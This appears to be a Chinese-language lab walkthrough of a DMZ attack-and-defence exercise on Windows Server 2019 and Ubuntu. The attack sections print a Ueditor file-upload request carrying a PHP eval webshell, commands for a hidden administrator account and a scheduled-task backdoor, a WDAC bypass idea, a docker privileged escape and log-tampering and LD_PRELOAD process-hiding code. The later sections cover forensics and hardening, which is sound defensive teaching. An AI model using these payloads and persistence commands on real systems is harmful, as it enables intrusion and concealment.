1. DMZ区攻防场景复现的价值与准备在网络安全领域DMZDemilitarized Zone作为内外网之间的缓冲地带一直是攻防对抗的前沿阵地。去年某次红蓝对抗中攻击方仅用3小时就通过DMZ区的Windows Server 2019拿下了整个内网这个案例让我深刻意识到纸上谈兵永远比不上真实环境演练。要完整复现这个场景我们需要准备以下实验环境攻击机Kali Linux2024.1版本搭载哥斯拉v4.0靶机AWindows Server 2019 Standard关闭自动更新靶机BUbuntu 22.04 LTS安装docker-ce网络拓扑使用VMware Workstation构建模拟DMZ区NAT模式连接内网关键提示务必在隔离环境中进行实验建议使用物理断网的独立主机运行虚拟机。我曾见过有学员的杀毒软件将实验工具误报为真实威胁触发了企业SOC告警。2. Windows边界突破实战记录2.1 Ueditor漏洞利用过程攻击始于一个看似无害的文件上传点。某CMS自带的Ueditor 1.4.3版本存在经典的文件上传漏洞攻击链如下构造特殊请求绕过前端验证POST /ueditor/php/controller.php?actionuploadfile HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameupfile; filenametest.php.jpg Content-Type: image/jpeg ?php eval($_POST[cmd]);? ------WebKitFormBoundaryABC123--利用解析差异获取webshell服务器配置错误导致.jpg文件被当作php执行实际案例中攻击者常用双扩展名绕过如shell.php%00.jpg2.2 权限维持的三种隐蔽方式获得初始立足点后攻击者通常会做这些操作技术手段实现命令防御检测要点隐藏用户创建net user sysbackup Pa$$w0rd /add /active:yesnet localgroup administrators sysbackup /add检查注册表HKLM\SAM\SAM\Domains\Account\Users计划任务持久化schtasks /create /tn WindowsUpdate /tr C:\shell.exe /sc minute /mo 30审核%SystemRoot%\System32\Tasks目录WMI事件订阅通过PowerShell创建__EventFilter绑定到特定事件使用Get-WMIObject查询异常订阅实战经验Windows Defender应用控制WDAC会阻止未经签名的payload执行遇到你的组织使用了windows defender应用程序控制来阻止此应用提示时可尝试通过certmgr.msc导入伪造证书绕过。3. 横向移动与Linux系统渗透3.1 从Windows到Ubuntu的跳板攻击通过Windows服务器获取DMZ区Ubuntu主机的访问凭证后攻击者典型的操作流程使用psexec.py进行SMB爆破python3 psexec.py WORKGROUP/Administrator:Password123192.168.52.131发现docker服务时的特权逃逸# 检查docker socket权限 ls -al /var/run/docker.sock # 如果可写直接创建特权容器 docker run -it -v /:/mnt --privileged ubuntu bash3.2 Ubuntu系统中的痕迹清理技巧攻击者常用的反取证手段包括修改~/.bash_history文件时间戳perl -i -pe s/2024-02-15/2024-01-10/g /home/user/.bash_history touch -d 2024-01-10 12:00:00 /home/user/.bash_history使用LD_PRELOAD隐藏进程// evil.c #include stdio.h #include sys/stat.h int lstat(const char *path, struct stat *buf) { if(strstr(path, malware)) return -1; return __lxstat(3, path, buf); }编译后设置export LD_PRELOAD/tmp/evil.so4. 防御者的排查实战手册4.1 Windows服务器取证四步法内存分析使用Volatility3检测异常进程vol.py -f memory.dump windows.pslist.PsList日志审查关键点事件ID 4624登录成功与4625登录失败的关联分析事件ID 4688进程创建中的父进程异常文件系统时间线# 生成最近7天修改过的可执行文件列表 powershell gci C:\ -Recurse -File -Include *.exe,*.dll,*.ps1 | ? {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | select FullName,LastWriteTime,Length | Export-Csv -NoTypeInformation files.csv网络连接比对Get-NetTCPConnection | Where-Object {$_.State -eq Established} | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | ft4.2 Ubuntu系统入侵指标排查检查异常cron任务# 查看所有用户的计划任务 ls -la /var/spool/cron/crontabs/ cat /etc/crontab检测隐藏的docker容器# 对比docker ps与磁盘实际容器 docker ps -a ls -la /var/lib/docker/containers/网络连接分析进阶技巧# 显示所有TCP连接及其对应进程 ss -tulnp | grep -v 127.0.0.1 # 检查异常的LD_PRELOAD环境变量 cat /proc/*/environ 2/dev/null | tr \0 \n | grep -i preload5. 攻防演练后的加固建议根据多次实战经验这些加固措施能有效提升DMZ区安全Windows Server 2019加固清单启用LSA保护[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] RunAsPPLdword:00000001配置WDAC默认拒绝策略ConvertFrom-CIPolicy -XmlFilePath .\DefaultDeny.xml -BinaryFilePath .\DenyPolicy.binUbuntu 22.04防护要点Docker安全配置# 创建docker专用用户组 sudo groupadd dockerusers sudo usermod -aG dockerusers username sudo chown root:dockerusers /var/run/docker.sock sudo chmod 660 /var/run/docker.sock内核级防护# 安装apparmor并配置默认策略 sudo apt install apparmor apparmor-utils sudo aa-enforce /etc/apparmor.d/*在最近一次为客户部署的DMZ区中通过上述措施成功拦截了超过80%的初始攻击尝试。特别是WDAC与AppArmor的组合使用使得即使攻击者获取了webshell也难以执行有效载荷。